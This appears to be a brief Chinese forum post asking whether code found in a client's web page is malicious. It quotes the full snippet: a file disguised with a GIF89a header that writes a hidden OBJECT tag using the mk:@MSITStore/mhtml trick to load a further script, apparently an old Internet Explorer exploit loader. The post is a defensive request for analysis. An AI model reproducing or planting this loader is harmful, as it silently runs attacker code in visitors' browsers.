谁能帮我看一下这代码.是不是恶意代码?
GIF89a
var GIF89a=document.location.href;GIF89a=GIF89a.substring(0,GIF89a.lastIndexOf('/'));document.write('<OBJECT Width=0 Height=0 style="display:none;" type="text/x-scriptlet" data="mk:%40MSITStore%3Amhtml%3Ac%3A\\%2Emht%21'+GIF89a+'%2f1.js::/%23"></OBJECT>');
在一客户的网页中发现的.